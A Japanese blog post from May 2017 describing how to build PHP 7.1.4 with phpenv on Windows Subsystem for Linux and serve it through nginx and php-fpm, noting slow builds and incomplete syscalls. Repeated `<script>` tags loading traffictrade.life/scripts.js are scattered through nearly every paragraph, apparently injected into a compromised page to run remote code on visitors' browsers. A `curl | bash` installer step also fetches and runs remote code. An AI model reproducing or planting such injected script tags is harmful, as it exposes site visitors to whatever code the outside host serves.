<div>
<p>最近のWindows 10にはLinuxバイナリをそのまま動かすような仕組みが導入されています。これは Windows Subsystem for Linux (WSL) とか Bash on Ubuntu on Windows (BoW) などと呼ばれているもので、VM実行でなくWindowsネイティブでLinuxを動かすという意欲的な取り組みです。</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script>
<br><p>この環境で最新版のPHPをソースコードからビルドし、アプリケーションサーバとして動作させてみました。</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script>
<br><p>本稿執筆時点(2017年5月)ではWSL自体がまだ不安定な印象ですが、nginx+php-fpmを動作させることができました。以下はWindowsのlocalhost 80番ポートでPHPが動作している証拠画像です。「System」欄のunameの表示にMicrosoftという文字列が入っているのがオシャレですね。</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script>
<br><p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><a href="http://f.hatena.ne.jp/hnw/20170502120845" target="_blank"><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><img src="http://cdn-ak.f.st-hatena.com/images/fotolife/h/hnw/20170502/20170502120845.png" alt="f:id:hnw:20170502120845p:image" title="f:id:hnw:20170502120845p:image"></a></p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script>
<br><p>以下、WSL上でnginx+php-fpmを動かすまでの手順を紹介します。</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script>
<br><h4> WSLのセットアップ</h4>
<p>「<script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><a href="https://msdn.microsoft.com/en-us/commandline/wsl/install_guide" target="_blank">Bash on Ubuntu on Windows - Installation Guide</a>」に従ってセットアップします。</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script>
<br><h4> PHPのビルド</h4>
<p>まずはWSL上でPHPをビルドしてみましょう。</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script>
<br><p>コンパイル済みバイナリをaptでインストールしてもいいのですが、普通にビルドできる程度にWSLが安定してるのかな?という興味から自前ビルドしてみました。</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script>
<br><p>まずは必要パッケージをインストールします。</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script>
<br><pre>
$ sudo apt update
$ sudo apt install build-essential libxml2-dev zlib1g-dev libcurl4-openssl-dev \
libjpeg62-dev libpng12-dev libmcrypt-dev libreadline-dev libtidy-dev \
libxslt1-dev libssl-dev libbz2-dev git autoconf
</pre> <br><p>今回はphpenv+php-buildでPHPをビルドします。</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script>
<br><pre>
$ curl -L https://raw.github.com/CHH/phpenv/master/bin/phpenv-install.sh | bash
$ mkdir $HOME/.phpenv/plugins
$ cd $HOME/.phpenv/plugins
$ git clone https://github.com/php-build/php-build.git
</pre> <br><p>下記の内容を <code>.bashrc</code> に追記してシェルを再起動します。</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script>
<br><pre>
PATH=$HOME/.phpenv/bin:$PATH
eval "$(phpenv init -)"
</pre> <br><p>あとはphpenv経由でPHPをビルドするだけです。</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script>
<br><pre>
$ PHP_BUILD_EXTRA_MAKE_ARGUMENTS=-j4 phpenv install 7.1.4
</pre> <br><p>ビルドにはかなり時間がかかるので注意してください。筆者の手元のマシン(Thinkpad X260、Intel Core i7 2.5GHz)で30分以上かかりました。同じビルドが12インチMacBook(Early 2016、Intel Core m5 1.2GHz)で10分を切ることを考えると、まだお仕事で使えるレベルではない印象です。今後のパフォーマンスチューニングに期待しましょう。</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script>
<br><p>ちょっと遅いことを除けば、ビルド自体は正常に終了します。ここまでは普通のLinuxと大差ありません。</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script>
<br><h4> nginx+php-fpmの設定</h4>
<p>つぎに、nginxをaptでインストールします。</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script>
<br><pre>
$ sudo apt install nginx
</pre> <br><p>設定ファイル <code>/etc/nginx/sites-enabled/default</code> の設定のうち、下記部分のコメントアウトを外して有効化します。</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script>
<br><pre>
# pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000
#
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass 127.0.0.1:9000;
}
</pre> <br><p>nginxを再起動します。</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script>
<br><pre>
$ sudo service nginx restart
</pre> <br><p>php-fpmの方はデフォルトの設定ファイルをコピーしてそのまま使います。</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script>
<br><pre>
$ cd $HOME/.phpenv/versions/7.1.4/etc/
$ cp php-fpm.conf.default php-fpm.conf
$ cp php-fpm.d/www.conf.default php-fpm.d/www.conf
</pre> <br><p>下記コマンドでphp-fpmを起動します。</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script>
<br><pre>
$ $HOME/.phpenv/versions/7.1.4/sbin/php-fpm
</pre> <br><p>ここで <code>/var/www/phpinfo.php</code> などを設置すれば、nginx経由でphp-fpmを利用することができます。</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script>
<br><p>ただし、この設定だと1秒に1回下記のエラーが出続けます。getsockopt(2) の実装がまだ不完全のようですね。</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script>
<br><pre>
[01-May-2017 20:06:06] ERROR: failed to retrieve TCP_INFO for socket: Protocol not available (92)
[01-May-2017 20:06:07] ERROR: failed to retrieve TCP_INFO for socket: Protocol not available (92)
[01-May-2017 20:06:08] ERROR: failed to retrieve TCP_INFO for socket: Protocol not available (92)
</pre> <br><p>TCPでのプロセス間通信に問題があるならunix domain socketにすればいいじゃない、と考えてunix domain socketも試してみたのですが、<code>phpinfo()</code> の結果が途中で切れてしまうようです。こちらも実装が不完全なようで、16KB超のデータがうまく扱えないとか、そんな制限がありそうな挙動に見えました。TCPの方がまだ安定している状況だといえるでしょう。</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script>
<br><h4> まとめ</h4>
<p>WSLはまだbeta版なので過度の期待をする方が悪いと言えばそうなのですが、まだ性能が出なかったり未実装のシステムコールもあったりで、お仕事で使えるようになる日は遠いかな、という印象を持ちました。</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script>
<br><p>とはいえ、長期的に期待できる技術なのは間違いないところでしょう。さらなる安定と正式リリースが待ち遠しいですね。</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script>
</div>